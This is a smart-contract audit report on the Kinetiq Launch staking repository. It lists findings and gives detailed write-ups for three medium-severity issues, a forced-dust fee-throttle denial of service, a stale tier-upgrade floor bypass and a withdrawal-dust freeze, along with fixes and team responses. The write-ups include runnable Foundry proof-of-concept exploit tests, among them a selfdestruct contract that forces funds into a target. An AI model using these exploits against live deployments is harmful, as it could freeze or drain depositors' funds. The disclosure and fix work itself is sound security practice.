ZERO COOL

Security Review

Launch

May 16, 2026

REVIEW

REPOSITORY	https://github.com/kinetiq-research/launch
COMMIT	`df60d44a30333ed92aa4f27c4e9e9e83315ae527`

The Zero Cool Security Review for Launch repository identified 29 findings: 5 Medium, 16 Low, and 8 Informational. A fix review was not performed. Resolution summary: 8 resolved and 21 acknowledged.

FINDINGS

ID	Title	Status
M-01	Forced native dust can block fee-throttle spot bridging	Resolved
M-02	Stale queued tier upgrades can finalize after tier floor reductions	Resolved
M-03	Unqueueable LIVE withdrawal dust can block exits before BWQ routing	Resolved
M-04	Stale slashing accounting allows withdrawals to settle at pre-slash rates	Acknowledged
M-05	Operator can block recovery wind-down by cycling voluntary unwind	Resolved
L-01	Stake fees throttle lacks a payable receive path for documented EVM funding	Resolved
L-02	Unsolicited deposits can consume recipient-scoped mint allowances	Acknowledged
L-03	Queued force-unwind does not freeze operator launch actions	Resolved
L-04	Share-based supply caps can prevent fair post-slashing recapitalization	Acknowledged
L-05	Phantom slashing excess can spend pending withdrawal liquidity	Acknowledged
L-06	Low remaining supply can strand throttled fees after wind-down	Resolved
L-07	confirmAll can misattribute blocked withdrawal payouts in its return value	Acknowledged
L-08	Stale whitelist credentials can fix recipients to obsolete funding tiers	Acknowledged
L-09	Oversized operator bonds can create unbondable activatable markets	Acknowledged
L-10	Stale slashing reports can let live withdrawals overrun the reserve floor	Acknowledged
L-11	LIVE withdrawal floor can be bypassed for dust blocked-withdrawal entries	Resolved
L-12	Funding-phase TieredMintGate can block market bonding	Acknowledged
L-13	Whitelist signatures can be reused to consume recipient mint caps	Acknowledged

ID	Title	Status
L-14	Just-in-time deposits can capture pending fee drips	Acknowledged
L-15	Permissionless blocked-withdrawal processing can lock users at a stale reward rate	Acknowledged
L-16	TieredMintGate lock tokens can be recycled across Sybil addresses to bypass mint allocations	Acknowledged
I-01	EXRouter obscures the original withdrawer from sender-based withdrawal gates	Acknowledged
I-02	Pre-bond markets can bloat shared emergency registries	Acknowledged
I-03	Share-denominated whitelist caps can block funding recovery after slashing	Acknowledged
I-04	Permissionless BWQ processing can fragment blocked withdrawal confirmations	Acknowledged
I-05	Paused blocked withdrawal queue still accepts new liabilities	Acknowledged
I-06	Protocol operator can forge slashing reports to brick market accounting	Acknowledged
I-07	Zero-value slashing settlements revert in Launch withdrawal confirm paths	Acknowledged
I-08	Protocol operator can bypass Launch withdrawal accounting through raw Router L1 operations	Acknowledged

SCOPE

```
README.md
audit/models/permissionless/ARCHITECTURE-CHANGES.md
audit/models/permissionless/AUDITOR-PRIMER.md
doc/permissionless/PERMISSIONLESS-DETAILS.md
src/BlockedWithdrawalQueue.sol
src/EXFactory.sol
src/EXLST.sol
src/EXManager.sol
src/EXRouter.sol
src/GlobalConfig.sol
src/ProtocolRolesController.sol
src/base/EIP712Verifier.sol
src/base/HyperCoreAsset.sol
src/base/LSTPayments.sol
src/base/LSTState.sol
src/beacon/UpgradeableBeaconRegistry.sol
src/facets/HIP3ConfigFacet.sol
src/facets/SlashingAwareWithdrawalFacet.sol
src/fee-distribution/LaunchFeeSplitter.sol
src/fee-distribution/StakeFeesThrottle.sol
src/gate/CompositeGate.sol
src/gate/MultiplexerGate.sol
src/gate/TieredMintGate.sol
src/gate/WhitelistGate.sol
src/interfaces/IActivationAdapter.sol
src/interfaces/IBlockedWithdrawalQueue.sol
src/interfaces/IEIP712Verifier.sol
src/interfaces/IEXFactory.sol
src/interfaces/IEXGate.sol
src/interfaces/IEXLST.sol
src/interfaces/IEXManager.sol
src/interfaces/IEXRouter.sol
src/interfaces/IGlobalConfig.sol
src/interfaces/IHIP3StakingManager.sol
src/interfaces/IHyperCoreAsset.sol
src/interfaces/IL1Read.sol
src/interfaces/ILSTState.sol
src/interfaces/ILaunchFeeSplitter.sol
src/interfaces/IPauserRegistry.sol
src/interfaces/IProtocolRolesController.sol
src/interfaces/IStakeFeesThrottle.sol
src/interfaces/IStakingManagerState.sol
src/interfaces/IUpgradeableBeaconRegistry.sol
src/lib/Constants.sol
src/lib/Errors.sol
src/lib/HIP3L1Write.sol
```

M-01 Forced native dust can block fee-throttle spot bridging

Status Resolved

Severity Severity: Medium ≈ Impact: Medium × Likelihood: Medium

Summary

An unprivileged actor can force small native HYPE amounts into a per-market `StakeFeesThrottle` via selfdestruct mechanics, causing the operator's combined staking-and-bridging `execute()` call to revert when the computed drip falls below the Router's minimum stake threshold. This prevents independent Core spot HYPE from being bridged back to HyperEVM until the native balance grows above the minimum or is topped up, after which the attacker can repeat the poisoning.

Description

`StakeFeesThrottle.execute()` combines two independent keeper operations: staking available native HYPE into `EXManager.stakeFees()` and bridging available Core spot HYPE via `HIP3L1Write.sendSpot()`. The function processes staking first and bridging only if the staking step completes. When `_computeStakeAmount()` returns a nonzero value, `execute()` calls `exManager.stakeFees{value: stakeAmount}()` without verifying that `stakeAmount` meets the underlying Router's `minStakeAmount`. The Router's `stake()` function enforces the minimum and reverts with `BelowMinimum` if the value is too low. Because the throttle BeaconProxy has no `receive()` or payable fallback, ordinary value transfers revert, but an attacker can still force native HYPE into the contract by deploying a helper contract with native balance and calling `selfdestruct(payable(throttle))`. Once enough time has elapsed for the throttle's clearance logic to align the forced dust to a nonzero `1e10`-aligned drip below the Router minimum, every `execute()` call reverts in the staking branch before reaching the spot-bridging step. The native balance remains, so the liveness failure persists until the balance grows above the minimum through operational fee accumulation or a manual top-up, at which point the attacker can repeat the forced-dust transfer.

The protocol documentation notes that `execute()` can revert when the computed drip is below the Router's `minStakeAmount` and advises operators to call `previewStakeAmount()` and skip execution if too small. That guidance does not address the liveness issue because skipping `execute()` also skips the spot-bridging half, and the operator does not control the native balance that an external actor can force into the throttle. The coupling of the two independent operations in a

single all-or-nothing function means that a staking precondition can block unrelated spot fee sweeping.

Impact Explanation

The issue enables a per-market fee-distribution liveness failure. While the throttle is poisoned, post-buyback Core spot HYPE cannot be bridged back to HyperEVM through the standard keeper path, delaying fee compounding into that market's reserves and reducing the benefit to all EXLST holders. Funds remain attributable to the throttle address and are not stolen or irrecoverably locked. Recovery is possible by topping up the throttle's native HYPE balance above the Router minimum, waiting for enough native HYPE to accumulate through normal fee operations, or deploying a contract upgrade or fix.

Likelihood Explanation

Each factory-deployed per-market throttle exposes the vulnerable path, and the attacker can force native HYPE into the BeaconProxy via selfdestruct even though ordinary value transfers revert. The attacker can choose a very small forced amount that computes to a nonzero `1e10` -aligned drip below the Router's `minStakeAmount` , which is copied from `GlobalConfig` and bounded to at least 0.1 HYPE. Material impact requires a market where the throttle has Core spot HYPE waiting to bridge and does not already have enough native HYPE to clear the staking minimum, and `execute()` itself is permissioned to the operator role, so the attacker must wait for the operator's normal keeper call.

Affected Code

src/fee-distribution/StakeFeesThrottle.sol:83-101, src/fee-distribution/StakeFeesThrottle.sol:104-130

- `execute()`
- `_computeStakeAmount()`

src/EXManager.sol:473-479

- `stakeFees()`

src/base/LSTPayments.sol:62-72

- `_stake()`

lib/lst/src/facets/StakingFacet.sol:91

- Router minimum stake check in `_stakeInternal()`

Recommendation

In `execute()`, only call `exManager.stakeFees{value: stakeAmount}()` when `stakeAmount` is at least `exManager.exStakingManager().minStakeAmount()`. If `stakeAmount` is nonzero but below the minimum, leave it in the throttle balance to accumulate and continue to the spot-bridging step:

```
function execute() external onlyRole(OPERATOR_ROLE) {
    if (lastExecutionBlock == block.number) revert
AlreadyExecutedThisBlock();
    if (!isReady()) revert NotReady();

    uint256 stakeAmount =
_computeStakeAmount(address(this).balance);
    if (stakeAmount > 0) {
        uint256 minStake =
exManager.exStakingManager().minStakeAmount();
        if (stakeAmount >= minStake) {
            exManager.stakeFees{value: stakeAmount}();
            lastDripTimestamp = block.timestamp;
        }
        // else: sub-minimum balance left for next cycle
    }

    uint64 spotToBridge = availableSpotHype();
    if (spotToBridge > 0) {
        HIP3L1Write.sendSpot(Constants.L1_HYPE_BRIDGE, hypeTokenId,
spotToBridge);
    }

    lastExecutionBlock = block.number;
    emit Executed(stakeAmount, spotToBridge, block.timestamp,
block.number);
}
```

Alternatively, consider splitting native fee staking and Core spot HYPE bridging into separate operator functions so a staking precondition cannot block independent spot sweeping. This approach preserves the throttle's pacing behavior while preventing small forced native balances from reverting the entire fee-distribution cycle.

Proof-of-Concept

`test/PoC_StakeFeesThrottleForcedDust.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {EXFactoryE2ETest, MarketRefs} from
"./e2e/EXFactoryE2E.t.sol";

import {IEXFactory} from
"@kinetiq/launch/src/interfaces/IEXFactory.sol";
import {IProtocolRolesController} from
"@kinetiq/launch/src/interfaces/IProtocolRolesController.sol";
import {IL1Read} from "@kinetiq/launch/src/interfaces/IL1Read.sol";
import {Constants} from "@kinetiq/launch/src/lib/Constants.sol";
import {StakeFeesThrottle} from "@kinetiq/launch/src/fee-
distribution/StakeFeesThrottle.sol";
import {IStakingManager} from
"@kinetiq/lst/src/interfaces/IStakingManager.sol";
import {BelowMinimum} from "@kinetiq/lst/src/Errors.sol";

interface IPoCCoreWriter {
    function sendRawAction(bytes calldata data) external;
}

/// @dev Minimal attacker helper. A contract created and
selfdestructed in a later call
///      can still force native HYPE to a target that has no payable
receive/fallback.
contract ForceNativeHype {
    constructor() payable {}

    function force(address payable target) external {
        selfdestruct(target);
    }
}

/// @notice PoC for: forced native dust can block
StakeFeesThrottle's independent spot bridge.
contract PoCStakeFeesThrottleForcedDust is EXFactoryE2ETest {
    uint8 internal constant STAKE_FEES_THROTTLE_COMPONENT =
        uint8(IProtocolRolesController.Component.StakeFeesThrottle);

    function test_PoC_forcedNativeDustBlocksSpotBridge() public fork
{
        MarketRefs memory refs =
_deployAndExtract(_defaultMarketParams());
        StakeFeesThrottle throttle = _throttle(refs.marketId);

        // Normal mainnet-like preconditions: market is LIVE,
throttle has spot HYPE waiting
```

```
        // to bridge, and operators execute through
ProtocolRolesController.
        _bondMarket(refs);
        _fundMarketLarge(refs);
        _launchMarket(refs);

        uint64 spotAvailable = uint64(100 * 1e8); // 100 HYPE in
HyperCore 8-decimal units.
        uint64 hypeTokenId = throttle.hypeTokenId();
        mockL1Read.setSpotBalance(
            address(throttle), hypeTokenId,
IL1Read.SpotBalance({total: spotAvailable, hold: 0, entryNtl: 0})
        );

        bytes memory expectedSendSpot =
            abi.encodePacked(uint8(1), uint24(6),
abi.encode(Constants.L1_HYPE_BRIDGE, hypeTokenId, spotAvailable));

        // Positive control: with no EVM balance, the exact same
operator path bridges spot HYPE.
        assertEq(address(throttle).balance, 0, "starts with no
native HYPE");
        assertEq(throttle.previewStakeAmount(), 0, "spot-only cycle
has no EVM drip");
        vm.expectCall(CORE_WRITER,
abi.encodeCall(IPoCCoreWriter.sendRawAction, (expectedSendSpot)));
        vm.prank(protocolOperatorEOA);
        protocolRolesController.execute(
            refs.marketId, STAKE_FEES_THROTTLE_COMPONENT,
abi.encodeCall(StakeFeesThrottle.execute, ())
        );

        vm.roll(block.number + 1);
        // The mock L1Read does not mutate when CoreWriter is
called. Reset it explicitly so the
        // exploit portion below models a fresh later batch of spot
HYPE waiting to be bridged.
        mockL1Read.setSpotBalance(
            address(throttle), hypeTokenId,
IL1Read.SpotBalance({total: 0, hold: 0, entryNtl: 0})
        );

        // An ordinary transfer to the BeaconProxy reverts, but an
unprivileged attacker can
        // still force a small native balance via selfdestruct.
        address attacker = makeAddr("attacker");
        uint256 forcedDust = 1e12; // 0.000001 HYPE; enough to
compute a non-zero aligned drip.
        vm.deal(attacker, forcedDust * 2);
```

```
        vm.prank(attacker);
        (bool ordinarySendOk,) = address(throttle).call{value:
forcedDust}("");
        assertFalse(ordinarySendOk, "ordinary value transfer
rejected by throttle proxy");
        assertEq(address(throttle).balance, 0, "failed ordinary
transfer leaves no balance");

        vm.prank(attacker);
        ForceNativeHype forcer = new ForceNativeHype{value:
forcedDust}();
        vm.prank(attacker);
        forcer.force(payable(address(throttle)));
        assertEq(address(throttle).balance, forcedDust, "attacker
forced native HYPE into throttle");

        // Later, post-buyback spot HYPE becomes available for the
throttle to sweep.
        mockL1Read.setSpotBalance(
            address(throttle), hypeTokenId,
IL1Read.SpotBalance({total: spotAvailable, hold: 0, entryNtl: 0})
        );

        uint256 minStake =
IStakingManager(refs.router).minStakeAmount();
        uint256 poisonedDrip = throttle.previewStakeAmount();
        assertGt(poisonedDrip, 0, "forced balance creates non-zero
drip branch");
        assertLt(poisonedDrip, minStake, "computed drip is below
Router minStakeAmount");
        assertEq(throttle.availableSpotHype(), spotAvailable, "spot
HYPE is still waiting to be bridged");

        uint256 lastExecBefore = throttle.lastExecutionBlock();
        uint256 lastDripBefore = throttle.lastDripTimestamp();

        // Impact: the operator's normal combined cycle now reverts
in the EVM-stake half
        // before HIP3L1Write.sendSpot can run, so spot HYPE remains
unswept.
        bytes memory opCall = abi.encodeCall(
            protocolRolesController.execute,
            (refs.marketId, STAKE_FEES_THROTTLE_COMPONENT,
abi.encodeCall(StakeFeesThrottle.execute, ()))
        );
        vm.prank(protocolOperatorEOA);
        (bool ok, bytes memory ret) =
address(protocolRolesController).call(opCall);
        assertFalse(ok, "operator execute is DoSed by forced below-
```

```
minimum drip");
        assertEq(bytes4(ret), BelowMinimum.selector, "revert bubbles
from real Router stake minimum");

        assertEq(throttle.availableSpotHype(), spotAvailable, "spot
HYPE remains unbridged after revert");
        assertEq(address(throttle).balance, forcedDust, "poisoning
balance remains for repeated failures");
        assertEq(throttle.lastExecutionBlock(), lastExecBefore,
"execute state not advanced");
        assertEq(throttle.lastDripTimestamp(), lastDripBefore, "drip
timestamp not advanced");
    }

    function _throttle(bytes32 marketId) internal view returns
(StakeFeesThrottle) {
        IEXFactory.MarketContracts memory c =
factory.getMarketContracts(marketId);
        return StakeFeesThrottle(payable(c.stakeFeesThrottle));
    }
}
```

Command:

```
MAINNET_RPC_URL=https://rpc.hypurrscan.io forge test --match-path
test/PoC_StakeFeesThrottleForcedDust.t.sol --match-test
test_PoC_forcedNativeDustBlocksSpotBridge -vv
```

Impact:

The PoC passes and demonstrates that an unprivileged attacker can force tiny native HYPE dust into a per-market StakeFeesThrottle, causing the next legitimate operator execute() call to revert with the real Router BelowMinimum error before the independent Core spot HYPE bridge step executes. The spot HYPE remains unbridged, the poisoned native balance remains, and throttle execution state is not advanced, allowing repeated liveness failure until operational recovery.

COMMENTS

Project Team

Valid. Fixed in `c64a7b7` (part of PR #90). Split the throttle into a permissionless `sweep()` (drains HC spot to EVM) and operator-gated `execute()` (stakes fees). Forced selfdestruct dust on the throttle balance can no longer pin the spot-bridge leg, and `_computeStakeAmount` bypasses the impact cap in WOUND_DOWN.

Zero Cool

Fix Review Status: Resolved

Resolved in commit `6b6896e`

- The original root cause was the all-or-nothing coupling of fee staking and spot bridging inside `StakeFeesThrottle.execute()`. In the current code, spot bridging was removed from `execute()` and moved to an independent permissionless `sweep()` (`src/fee-distribution/StakeFeesThrottle.sol:95-106`), while `execute()` now only stakes EVM-side HYPE (`src/fee-distribution/StakeFeesThrottle.sol:108-123`). As a result, forced native dust can still make `execute()` revert on a sub-minimum drip, but it can no longer block the unrelated Core-spot bridge leg.

M-02 Stale queued tier upgrades can finalize after tier floor reductions

Status: Resolved

Severity: Severity: Medium ≈ Impact: High × Likelihood: Low

Summary

A market operator can queue a tier upgrade when the target tier satisfies the strict-increase requirement, then finalize the upgrade after a privileged CONFIG_ADMIN floor reduction lowers the target tier below the market's original floor. The finalized upgrade allows immediate withdrawals that leave reserves below the original tier floor without routing excess shares through the blocked withdrawal queue, violating the documented LIVE reserve-floor invariant.

Description

`EXManager.queueTierUpgrade()` enforces the strict-increase invariant by comparing `newTierConfig.minHypeStake` against `currentTierConfig.minHypeStake` at queue time. The function stores only `pendingTier` and does not snapshot the target tier's floor value. During the delay period, `GlobalConfig.queueLowerTierFloor()` and `applyLowerTierFloor()` can mutate the target tier's `minHypeStake` downward. When the operator later calls `confirmTierUpgrade()`, the function does not revalidate that the pending tier remains strictly higher than the current tier. It simply sets `marketTier` to the

pending tier and verifies that total reserves meet the target tier's now-lowered floor via `_checkMinHypeStakeSatisfied()`.

After confirmation, runtime withdrawal logic in `availableWithdrawals()` and `BlockedWithdrawalQueue._withdrawableShares()` reads the live `globalConfig.marketTiers(marketTier).minHypeStake` value. The lowered floor exposes additional immediate withdrawal capacity that was not available under the original tier, allowing users to withdraw reserves below the market's original HyperCore commitment floor without triggering the blocked withdrawal queue. This bypass occurs because the upgrade authorization relied on stale tier state that changed during the delay window.

Impact Explanation

A finalized stale upgrade allows immediate withdrawals that leave reserves below the original tier floor, creating the exact downgrade condition the strict-increase check was designed to prevent. Remaining depositors face potential stake lock or liveness failure if the EVM floor falls below the market's effective HyperCore commitment, because the independent L1 commitment may not undelegate the reduced EVM reserves. The documented invariant that tier upgrades strictly increase `minHypeStake` is violated across the full queue-to-confirm lifecycle.

Likelihood Explanation

The operator can queue and confirm the upgrade, but the decisive floor reduction is a CONFIG_ADMIN-only operation. A realistic attack requires a legitimate or mistaken governance floor-reduction event that lowers the pending target tier below the market's current floor during the upgrade delay window, which is not triggerable by an unprivileged operator at will.

Affected Code

src/EXManager.sol:383-405

- `queueTierUpgrade()`
- `pendingTier`

src/EXManager.sol:418-439

- `confirmTierUpgrade()`
- `marketTier`

src/EXManager.sol:772-785

- `_checkMinHypeStakeSatisfied()`

src/EXManager.sol:807-826

- `availableWithdrawals()`

src/BlockedWithdrawalQueue.sol:316-329

- `_withdrawableShares()`

src/GlobalConfig.sol:320-343

- `queueLowerTierFloor()`
- `applyLowerTierFloor()`

Recommendation

Snapshot the pending target tier floor at queue time and revalidate it at confirmation. Add a state variable `uint256 pendingTierMinHypeStake` to store the target floor when the upgrade is queued. In `queueTierUpgrade()`, set `pendingTierMinHypeStake = newTierConfig.minHypeStake` after the strict-increase check. In `confirmTierUpgrade()`, reload both the current and pending tier configurations, then require that `newTierConfig.minHypeStake` equals `pendingTierMinHypeStake` to ensure the target tier has not changed. Additionally, require that `newTierConfig.minHypeStake` remains strictly greater than `currentTierConfig.minHypeStake` at confirmation time. Clear `pendingTierMinHypeStake` on both confirm and cancel operations.

```
// In state variables:
uint256 public pendingTierMinHypeStake;

// In queueTierUpgrade():
pendingTier = newTier;
pendingTierMinHypeStake = newTierConfig.minHypeStake;  // snapshot
target floor
tierUpgradeEligibleAt = block.timestamp +
globalConfig.tierUpgradeDelay();

// In confirmTierUpgrade():
IGlobalConfig.MarketTier memory currentTierConfig =
globalConfig.marketTiers(marketTier);
IGlobalConfig.MarketTier memory newTierConfig =
globalConfig.marketTiers(pendingTier);

// Reject if the target tier floor changed or is no longer strictly
higher
if (newTierConfig.minHypeStake != pendingTierMinHypeStake) {
    revert Errors.TierFloorChanged();
}
if (newTierConfig.minHypeStake <= currentTierConfig.minHypeStake) {
```

```
    revert Errors.InvalidTier();
}

// Clear snapshot on confirm
pendingTierMinHypeStake = 0;

// In cancelTierUpgrade():
pendingTierMinHypeStake = 0;  // clear snapshot on cancel
```

This approach allows legitimate floor reductions to proceed after pending upgrades are cancelled or requeued under the new tier economics, while preventing a queued upgrade from finalizing under different global state than the operator and protocol originally authorized.

Proof-of-Concept

`test/PoC_StaleTierFloorUpgrade.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {IERC20} from
"@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {EXManagerTest} from "./EXManager.t.sol";

/// @notice PoC for stale queued tier upgrades finalizing after the
target tier floor is reduced.
/// @dev Realistic preconditions:
///      1. A market is LIVE on tier 1 (500k HYPE floor in the
harness).
///      2. CONFIG_ADMIN has legitimately added a higher tier.
///      3. The untrusted market operator queues an upgrade while
that target tier is higher.
///      4. During the delay, CONFIG_ADMIN lowers the target tier's
floor.
///
///      Because EXManager only stores pendingTier and does not
snapshot or revalidate the
///      queued target floor, confirmTierUpgrade() succeeds even
when the target floor is now
///      below the current/original tier. The market then enforces
the lowered runtime floor and
///      allows immediate withdrawals that push reserves below the
original HIP-3 commitment.
contract PoC_StaleTierFloorUpgrade is EXManagerTest {
    function
```

```
test_PoC_staleTierUpgradeBecomesEffectiveDowngradeAndAllowsBelowOrig
inalFloor() public fork {
        _fundAndLaunchMarket();

        uint256 originalTier = exManager.marketTier();
        uint256 originalFloor =
globalConfig.marketTiers(originalTier).minHypeStake;
        uint256 originalCap =
globalConfig.marketTiers(originalTier).supplyCap;

        // Add a target tier that is a valid strict upgrade at queue
time but does not require
        // a supply-cap raise, keeping this PoC focused on the stale
floor authorization.
        uint256 queuedTargetFloor = originalFloor + 100_000 ether;
        assertLe(queuedTargetFloor, originalCap, "harness cap must
support the temporary higher tier");
        vm.prank(configAdmin);
        uint256 targetTier = globalConfig.addTier("temporarily-
higher", queuedTargetFloor, originalCap);

        uint256 availableBefore = exManager.availableWithdrawals();

        // The operator queues while targetTier is strictly higher
than the current tier.
        vm.prank(operator);
        exManager.queueTierUpgrade(targetTier);

        // CONFIG_ADMIN later lowers the *target* tier floor below
the market's current/original
        // floor. This is a legitimate admin-only delayed floor-
reduction operation.
        uint256 loweredTargetFloor = originalFloor - 250_000 ether;
        vm.prank(configAdmin);
        globalConfig.queueLowerTierFloor(targetTier,
loweredTargetFloor);

        vm.warp(block.timestamp + globalConfig.tierUpgradeDelay() +
1);

        vm.prank(configAdmin);
        globalConfig.applyLowerTierFloor(targetTier);
        assertLt(globalConfig.marketTiers(targetTier).minHypeStake,
originalFloor, "target is now a downgrade");

        // Vulnerability: confirmation succeeds even though the
pending target tier is no longer
        // strictly higher than the current tier. A fresh
queueTierUpgrade(targetTier) at this
```

```
        // point would be rejected by the strict-increase rule.
        vm.prank(operator);
        exManager.confirmTierUpgrade();
        assertEq(exManager.marketTier(), targetTier, "stale queued
upgrade finalized");

        uint256 availableAfter = exManager.availableWithdrawals();
        assertGt(availableAfter, availableBefore, "lowered floor
exposes extra immediate withdrawal capacity");

        // Withdraw more than the original tier would have allowed,
but less than the new lowered
        // floor allows. This queues as an immediate withdrawal (not
BWQ) and leaves reserves below
        // the original 500k HYPE floor.
        uint256 sharesToWithdraw = availableBefore +
((availableAfter - availableBefore) / 2);
        assertGt(sharesToWithdraw, availableBefore, "withdrawal
exceeds original immediate capacity");
        assertLe(sharesToWithdraw, exLST.balanceOf(user), "user has
enough EXLST from funding deposit");

        vm.startPrank(user);
        IERC20(address(exLST)).approve(address(exManager),
sharesToWithdraw);
        (uint256 queuedHype, , , uint256 blockedShares, ) =
exManager.withdraw(sharesToWithdraw, user, emptyData);
        vm.stopPrank();

        assertGt(queuedHype, 0, "withdrawal was queued
immediately");
        assertEq(blockedShares, 0, "nothing was protected by the
blocked withdrawal queue");

        uint256 remainingHypeReserves =
exStakingAccountant.kHYPEToHYPE(

IERC20(address(exGhostLST)).balanceOf(address(exManager)) +
blockedWithdrawalQueue.totalBlockedQueue()
        );
        assertLt(remainingHypeReserves, originalFloor, "market
reserves fell below the original tier floor");
        assertGe(
            remainingHypeReserves,

globalConfig.marketTiers(exManager.marketTier()).minHypeStake,
            "withdrawal only passed because the stale target tier
now has a lower floor"
        );
```

```
    }
}
```

Command:

```
MAINNET_RPC_URL=https://rpc.hyperliquid.xyz/evm forge test --match-path test/PoC_StaleTierFloorUpgrade.t.sol --match-test test_PoC_staleTierUpgradeBecomesEffectiveDowngradeAndAllowsBelowOriginalFloor -vv
```

Impact:

The PoC passes and demonstrates that a queued tier upgrade can finalize after CONFIG_ADMIN lowers the target tier's floor. The market then enforces the lowered target floor, allowing an immediate withdrawal that leaves reserves below the original tier floor without routing excess shares to the blocked withdrawal queue.

COMMENTS

Project Team

Valid. Fixed in `ff0dff0` (part of PR #90). `queueTierUpgrade` now snapshots `pendingTierMinHypeStake`; `confirmTierUpgrade` reverts `InvalidTier` if the target tier's floor was lowered via GlobalConfig during the delay window. `cancelTierUpgrade` clears the snapshot.

Zero Cool

Fix Review Status: Resolved

Resolved in commit `6b6896e`

- `queueTierUpgrade()` now snapshots `pendingTierMinHypeStake`, and `confirmTierUpgrade()` reverts with `InvalidTier` if the pending tier's live `minHypeStake` no longer matches that snapshot. Since `GlobalConfig` only supports lowering existing tier floors, the stale queued-upgrade path from the original finding can no longer finalize under a reduced target floor. The snapshot is also cleared on confirm/cancel.

M-03 Unqueueable LIVE withdrawal dust can block exits before BWQ routing

Status Resolved

Severity Severity: Medium ≈ Impact: Medium × Likelihood: Medium

Summary

A positive but unqueueable immediate-withdrawal capacity in a LIVE market can cause all normal withdrawals to revert before residual shares are routed to the BlockedWithdrawalQueue. Affected users retain their EXLST shares but receive no HYPE and no FIFO blocked-withdrawal position is created, blocking exits until new deposits, fee staking, rewards, or configuration changes make the immediate leg processable.

Description

`EXManager.withdraw()` at `src/EXManager.sol:520–571` always attempts to process the currently advertised immediate capacity via `_queueAvailableWithdrawals()` before routing any residual shares to the BlockedWithdrawalQueue. The function `availableWithdrawals()` at `src/EXManager.sol:808–827` computes LIVE capacity from the HYPE excess above the tier floor and converts it to EXLST shares. After a valid slashing event reduces the ghost-LST exchange ratio below 1 HYPE per share, small positive HYPE amounts can convert to a single ghost-LST wei, which then converts back to 0 HYPE when the staking manager evaluates the withdrawal.

When `minWithdrawalAmount` is set to its factory-initialized default of zero, `_queueAvailableWithdrawals()` at `src/EXManager.sol:622–661` only skips immediate processing if `sharesToWithdraw == 0` or if `ghostLstToWithdraw < minWithdrawalAmount`. The check `ghostLstToWithdraw < 0` never triggers when the minimum is zero, so the function proceeds to burn shares and calls `_processQueueWithdrawal()` at `src/base/LSTPayments.sol:72–86`, which invokes the underlying staking manager's `queueWithdrawal()` at `lib/lst/src/facets/QueuedWithdrawalFacet.sol:66–112`.

The staking manager validates queued withdrawals at `lib/lst/src/StakingManagerStorage.sol:189–220` in `_withdrawFromValidator()`, rejecting any withdrawal where `amount == 0`. Because the dust immediate leg has a zero HYPE value after conversion, the staking manager reverts with `InvalidAmount`, rolling back the entire `EXManager.withdraw()` call. The user's residual shares never reach `_queueBlockedWithdrawals()`, so no BWQ entry is created and the EXLST remains locked.

This state can arise naturally from rounding after slashing or can be intentionally shaped by a holder who withdraws almost all immediate capacity while leaving one advertised share of dust. The shaping user pays normal withdrawal fees on the

immediate leg and requires temporary capital to consume the existing capacity. Subsequent users cannot bypass the unqueueable dust because `withdraw()` computes `sharesToWithdraw = min(availableDust, requestedWithdrawal)` and always processes that amount first, regardless of the user's requested withdrawal size.

Impact Explanation

In a LIVE market with unqueueable immediate-withdrawal dust, all normal withdrawals revert atomically before residual shares can be routed to the BlockedWithdrawalQueue. Affected users keep their EXLST, receive no HYPE, and no FIFO blocked-withdrawal position is created. The freeze can persist until new deposits, fee staking, rewards, a positive minimum-withdrawal configuration change, or wind-down intervention makes the immediate leg processable or bypasses the LIVE floor requirement.

Likelihood Explanation

The PoC demonstrates the issue using the real factory deployment path on mainnet fork. The attack requires a slashed or otherwise sub-1 exchange-rate market with small positive capacity above the LIVE floor, and the attacker must hold enough EXLST to consume the current immediate capacity. The PoC uses privileged test setup only to create a launched market and report a valid slashing event; the dust-shaping withdrawal itself is permissionless and incurs only normal queueing costs.

Affected Code

src/EXManager.sol:520-571, src/EXManager.sol:622-661, src/EXManager.sol:808-827

- `withdraw()`
- `_queueAvailableWithdrawals()`
- `availableWithdrawals()`

src/base/LSTPayments.sol:72-86, src/base/LSTPayments.sol:166-182, src/base/LSTPayments.sol:190-199

- `_processQueueWithdrawal()`
- `_calcAmount()`
- `_HYPEToEXLST()`

lib/lst/src/facets/QueuedWithdrawalFacet.sol:66-112

- `queueWithdrawal()`

- `_queueWithdrawalInternal()`

lib/lst/src/StakingManagerStorage.sol:189-220

- `_withdrawFromValidator()`

Recommendation

Before attempting to queue the immediate leg, verify that it satisfies all staking-manager preconditions. In `_queueAvailableWithdrawals()`, return `(0,0,0,0)` not only when `sharesToWithdraw == 0` or `ghostLstToWithdraw < minWithdrawalAmount`, but also when `ghostLstToWithdraw == 0` or when the HYPE value of the dust is zero:

```
  uint256 ghostLstToWithdraw = _calcAmount(sharesToWithdraw,
_reserves(_exGhostLST), _totalSupply());

- if (ghostLstToWithdraw <
IStakingManagerState(address(exStakingManager)).minWithdrawalAmount(
)) {
+ uint256 minWithdrawal =
IStakingManagerState(address(exStakingManager)).minWithdrawalAmount(
);
+ uint256 hypeValue = _LSTToHYPE(exStakingAccountant,
ghostLstToWithdraw);
+ if (ghostLstToWithdraw == 0 || ghostLstToWithdraw < minWithdrawal
|| hypeValue == 0) {
      return (0,0,0,0);
  }
```

This ensures that when immediate capacity is positive but unprocessable, the full user request is routed to the BlockedWithdrawalQueue instead of reverting. Alternatively, consider rounding `availableWithdrawals()` down to zero unless the resulting immediate withdrawal satisfies these same queue preconditions, though that approach may obscure available capacity from view functions.

Proof-of-Concept

`test/PoC_UnqueueableLiveWithdrawalDust.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {EXFactoryTest} from "./EXFactory.t.sol";

import {Vm} from "forge-std/Vm.sol";
```

```
import {IERC20} from
"@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MessageHashUtils} from
"@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";

import {StakingAccountant} from
"@kinetiq/lst/src/StakingAccountant.sol";
import {ValidatorManager} from
"@kinetiq/lst/src/ValidatorManager.sol";

import {EXManager} from "@kinetiq/launch/src/EXManager.sol";
import {EXLST} from "@kinetiq/launch/src/EXLST.sol";
import {BlockedWithdrawalQueue} from
"@kinetiq/launch/src/BlockedWithdrawalQueue.sol";
import {IEIP712Verifier} from
"@kinetiq/launch/src/interfaces/IEIP712Verifier.sol";
import {IEXFactory} from
"@kinetiq/launch/src/interfaces/IEXFactory.sol";
import {IEXManager} from
